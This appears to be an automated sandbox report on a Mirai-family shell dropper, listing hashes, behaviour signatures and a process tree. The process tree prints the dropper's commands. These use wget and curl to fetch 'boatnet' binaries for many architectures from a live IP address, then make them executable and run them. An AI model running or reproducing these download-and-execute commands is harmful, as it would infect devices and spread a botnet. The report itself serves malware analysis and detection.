Analysis

  • max time kernel
    59s
  • max time network
    64s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    31-08-2024 21:05

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    fefdf2b7ece4d55bd47778b420f84011

  • SHA1

    2823096e0538910f9b57ff9bae007ec655520fc3

  • SHA256

    3611c98f0a496d5891dc7888ed43a5d9b5eae8b1b27186dbe8b9b83922ae66eb

  • SHA512

    b1e1c59a9802ea141e48f395d3f5268c351687e7ca8758feb9b6882d51f230be3c72f657219816c82fa61bd811ce37bfb392c0a26d10d5b53bb333e7af03cf21

Score
10/10

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 26 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 1 TTPs 26 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1517
    • /usr/bin/wget
      wget http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1518
    • /usr/bin/curl
      curl -O http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1519
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1523
      • /bin/chmod
        chmod +x boatnet.x86 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-DsKJWD WTF
        2⤵
          PID:1524
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1525
        • /usr/bin/wget
          wget http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Writes file to tmp directory
          PID:1529
        • /usr/bin/curl
          curl -O http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Writes file to tmp directory
          PID:1531
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-DsKJWD WTF
          2⤵
            PID:1533
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1534
          • /usr/bin/wget
            wget http://94.156.71.225/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:1538
          • /usr/bin/curl
            curl -O http://94.156.71.225/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:1540
          • /bin/chmod
            chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-DsKJWD WTF
            2⤵
              PID:1542
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1543
            • /usr/bin/wget
              wget http://94.156.71.225/hiddenbin/boatnet.i468
              2⤵
                PID:1547
              • /usr/bin/curl
                curl -O http://94.156.71.225/hiddenbin/boatnet.i468
                2⤵
                • Writes file to tmp directory
                PID:1549
              • /bin/chmod
                chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-DsKJWD WTF
                2⤵
                  PID:1551
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  • Reads runtime system information
                  PID:1552
                • /usr/bin/wget
                  wget http://94.156.71.225/hiddenbin/boatnet.i686
                  2⤵
                    PID:1556
                  • /usr/bin/curl
                    curl -O http://94.156.71.225/hiddenbin/boatnet.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:1558
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-timedated.service-DsKJWD WTF
                    2⤵
                      PID:1560
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Writes file to system bin folder
                      • Reads runtime system information
                      PID:1561
                    • /usr/bin/wget
                      wget http://94.156.71.225/hiddenbin/boatnet.x86_64
                      2⤵
                      • Writes file to tmp directory
                      PID:1565
                    • /usr/bin/curl
                      curl -O http://94.156.71.225/hiddenbin/boatnet.x86_64
                      2⤵
                      • Writes file to tmp directory
                      PID:1577
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                      2⤵
                        PID:1602
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:1603
                      • /usr/bin/wget
                        wget http://94.156.71.225/hiddenbin/boatnet.mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:1607
                      • /usr/bin/curl
                        curl -O http://94.156.71.225/hiddenbin/boatnet.mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:1610
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                        2⤵
                          PID:1612
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:1613
                        • /usr/bin/wget
                          wget http://94.156.71.225/hiddenbin/boatnet.arm
                          2⤵
                          • Writes file to tmp directory
                          PID:1617
                        • /usr/bin/curl
                          curl -O http://94.156.71.225/hiddenbin/boatnet.arm
                          2⤵
                          • Writes file to tmp directory
                          PID:1619
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                          2⤵
                            PID:1628
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            • Modifies Watchdog functionality
                            • Writes file to system bin folder
                            • Reads runtime system information
                            PID:1629
                          • /usr/bin/wget
                            wget http://94.156.71.225/hiddenbin/boatnet.arm5
                            2⤵
                            • Writes file to tmp directory
                            PID:1633
                          • /usr/bin/curl
                            curl -O http://94.156.71.225/hiddenbin/boatnet.arm5
                            2⤵
                            • Writes file to tmp directory
                            PID:1637
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                            2⤵
                              PID:1645
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              • Modifies Watchdog functionality
                              • Writes file to system bin folder
                              • Reads runtime system information
                              PID:1646
                            • /usr/bin/wget
                              wget http://94.156.71.225/hiddenbin/boatnet.arm6
                              2⤵
                              • Writes file to tmp directory
                              PID:1650
                            • /usr/bin/curl
                              curl -O http://94.156.71.225/hiddenbin/boatnet.arm6
                              2⤵
                              • Writes file to tmp directory
                              PID:1668
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                              2⤵
                                PID:1670
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:1671
                              • /usr/bin/wget
                                wget http://94.156.71.225/hiddenbin/boatnet.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1675
                              • /usr/bin/curl
                                curl -O http://94.156.71.225/hiddenbin/boatnet.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1678
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                                2⤵
                                  PID:1681
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies Watchdog functionality
                                  • Writes file to system bin folder
                                  • Reads runtime system information
                                  PID:1682
                                • /usr/bin/wget
                                  wget http://94.156.71.225/hiddenbin/boatnet.ppc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1686
                                • /usr/bin/curl
                                  curl -O http://94.156.71.225/hiddenbin/boatnet.ppc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1688
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                                  2⤵
                                    PID:1691
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    • Modifies Watchdog functionality
                                    • Writes file to system bin folder
                                    • Reads runtime system information
                                    PID:1692
                                  • /usr/bin/wget
                                    wget http://94.156.71.225/hiddenbin/boatnet.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1697
                                  • /usr/bin/curl
                                    curl -O http://94.156.71.225/hiddenbin/boatnet.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1699
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-qFPeaa netplan_tp4c7aih ohshit.sh snap-private-tmp ssh-L7Ck4WeeJZaz systemd-private-151007155936412ba5cb80e5bfa5ecbd-bolt.service-nEA2jS systemd-private-151007155936412ba5cb80e5bfa5ecbd-colord.service-jOXWU1 systemd-private-151007155936412ba5cb80e5bfa5ecbd-ModemManager.service-78CYR9 systemd-private-151007155936412ba5cb80e5bfa5ecbd-systemd-resolved.service-lPstul WTF
                                    2⤵
                                      PID:1702
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      • Modifies Watchdog functionality
                                      • Writes file to system bin folder
                                      • Reads runtime system information
                                      PID:1703
                                    • /usr/bin/wget
                                      wget http://94.156.71.225/hiddenbin/boatnet.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1707
                                    • /usr/bin/curl
                                      curl -O http://94.156.71.225/hiddenbin/boatnet.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1709

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/boatnet.x86

                                    Filesize

                                    36KB

                                    MD5

                                    ba2cb5b8715ba94c39e24e75a34d0ea0

                                    SHA1

                                    7182bf3b0e14e5224e741c15174c6e93f00df444

                                    SHA256

                                    01fad47db364d66c0a9ed9c6c5c558c5a95eb0d015bec4be5f1109d14e15ec33

                                    SHA512

                                    0c26a32066b88dc22aada2ca606639e6717b84501402eac80107f7130fca6c43f6cd40e11e88ae1deda45320a6c726af04bf946818ef3099d84f31e523f9b33d